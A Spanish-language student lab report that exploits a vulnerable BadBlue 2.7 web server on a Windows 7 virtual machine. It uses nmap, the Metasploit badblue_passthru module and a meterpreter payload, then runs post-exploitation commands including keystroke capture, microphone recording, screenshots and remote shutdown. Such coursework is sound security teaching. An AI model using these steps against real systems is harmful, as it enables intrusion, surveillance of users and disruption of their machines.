

BADBLUE

C.E.S ACADEMIA LOPE DE VEGA

CFGS: 2º Administración de Sistemas Informáticos en Red

Curso: 2017/2018

Asignatura: Seguridad y Alta Disponibilidad

Prof. Miguel Angel González

Autor: Rafael Osuna Ventura

Antes de comenzar la practica necesitamos tener dos máquinas virtuales, una con Kali-Linux y otra con Windows 7(esta debe tener Badblue instalado).

Una vez tengamos esto listo nos vamos a la máquina de kali-linux realizamos un nmap a la dirección ip de la maquina victima para ver que puertos tiene abiertos.

```
root@kali:~# nmap -sV 172.16.0.59

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-25 12:50 CET
Nmap scan report for 172.16.0.59
Host is up (0.00036s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http BadBlue httpd 2.7
MAC Address: 08:00:27:00:85:7B (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.35 seconds
```

Observamos que tiene abierto el puerto 80 con BadBlue, buscamos información sobre dicha vulnerabilidad.



Ahora desde metasploit buscamos la vulnerabilidad y usamos uno de los exploit:

```
msf > use exploit/windows/http/badblue_passthru
msf exploit(badblue_passthru) > show options
Module options (exploit/windows/http/badblue passthru):
              Current Setting Required Description
   Name
   Proxies
                                              A proxy chain of format type:host:port[,type:host:port][...]
                                             The target address
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
HTTP server virtual host
   RHOST
                                  yes
   RPORT
              80
                                  yes
              false
   SSL
   VHOST
                                  no
Exploit target:
   Id
       Name
   0
        Automatic
```

Tenemos que completar los datos que faltan, RHOST, en este campo pondremos la ip de la víctima.

```
msf exploit(badblue_passthru) > set RHOST 172.16.0.59
RHOST => 172.16.0.59
msf exploit(badblue_passthru) > show options
Module options (exploit/windows/http/badblue_passthru):
             Current Setting Required Description
   Name
   Proxies
                                 no
                                             A proxy chain of format type:host:port[,type:host:port][...]
                                             The target address
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
             172.16.0.59
   RHOST
                                 yes
             80
   RPORT
                                 yes
no
              false
   VHOST
                                             HTTP server virtual host
```

Tras esto utilizamos un payload y ejecutamos el exploit, y vemos si se ha realizado correctamente.

```
msf exploit(badblue_passthru) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(badblue_passthru) > exploi
[-] Unknown command: exploi.
msf exploit(badblue_passthru) > exploit

[*] Started bind handler
[*] Trying target Automatic...
[*] Sending stage (957487 bytes) to 172.16.0.59
[*] Meterpreter session 1 opened (172.16.2.244:40417 -> 172.16.0.59:4444) at 2018-01-25 13:17:12 +0100
```

Una vez el exploit este ejecutándose podemos emplear comandos para obtener información del sistema de la víctima, algunos de estos comandos son:

Sysinfo: obtenemos información general del sistema

```
meterpreter > sysinfo
Computer : USUARIO-PC
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : es ES
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

Ps: nos permite listar los procesos de la maquina victima

<pre>meterpreter > ps Process List</pre>						
=======================================						
PID	PPID	Name	Arch	Session	User	Path
0 4 256 304 324 372 380 408 468 476 484 772 644 732 804 972 1052	0 0 4 468 316 316 364 372 372 372 468 468 468 468	[System Process] System smss.exe svchost.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe lsass.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe	x64 x64 x64 x64 x64 x64 x64 x64 x64 x64	0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0	NT AUTHORITY\SYSTEM NT AUTHORITY\SERVICIO LOCAL NT AUTHORITY\SYSTEM	C:\Windows\System32\smss.exe C:\Windows\System32\svchost.exe
1088 1164	468 468	svchost.exe SearchIndexer.exe	x64 x64	0 0	NT AUTHORITY\SERVICIO LOCAL NT AUTHORITY\SYSTEM	<pre>C:\Windows\System32\svchost.exe C:\Windows\System32\SearchIndexer</pre>
.exe 1452 1544 1612 1704 1744 1792 1856 2128	468 468 380 468 468 772 1780 1856	svchost.exe svchost.exe conhost.exe sppsvc.exe taskhost.exe dwm.exe explorer.exe cmd.exe	x64 x64 x64 x64 x64 x64 x64 x64	0 0 1 0 1 1	NT AUTHORITY\SYSTEM NT AUTHORITY\SERVICIO LOCAL usuario-PC\usuario NT AUTHORITY\Servicio de red usuario-PC\usuario usuario-PC\usuario usuario-PC\usuario usuario-PC\usuario	C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe C:\Windows\System32\sophost.exe C:\Windows\System32\taskhost.exe C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe

 Kill + numero: acabamos con un proceso que este en ejecución, en el caso del ejemplo se trataba de la terminal.

```
meterpreter > kill 1856
Killing: 1856
```

Screenshot: realiza una captura de pantalla de la maquina víctima.

```
meterpreter > screenshot
Screenshot saved to: /root/AQAwIxoI.jpeg
```

 Keyscan _start | keyscan sniffer | keyscan_stop: nos muestra las teclas que ha pulsado el usurio de la maquina victima

```
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
esto es una prueba para la practica de seguridad!
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
```

 Record_mic: nos graba el micro de la maquina víctima y nos lo guarda en la ruta de la imagen.

```
meterpreter > record_mic
[*] Starting...
[*] Stopped
Audip saved to: /root/tCEVQCUQ.wav
```

 Reboot y Shutdown: nos reinicia y nos apaga respectivamente la maquina víctima.

```
meterpreter > reboot
Rebooting...
meterpreter >
[*] 172.16.0.59 - Meterpreter session 1 closed. Reason: Died
```

```
meterpreter > shutdown
Shutting down...
meterpreter >
[*] 172.16.0.59 - Meterpreter session 2 closed. Reason: Died
```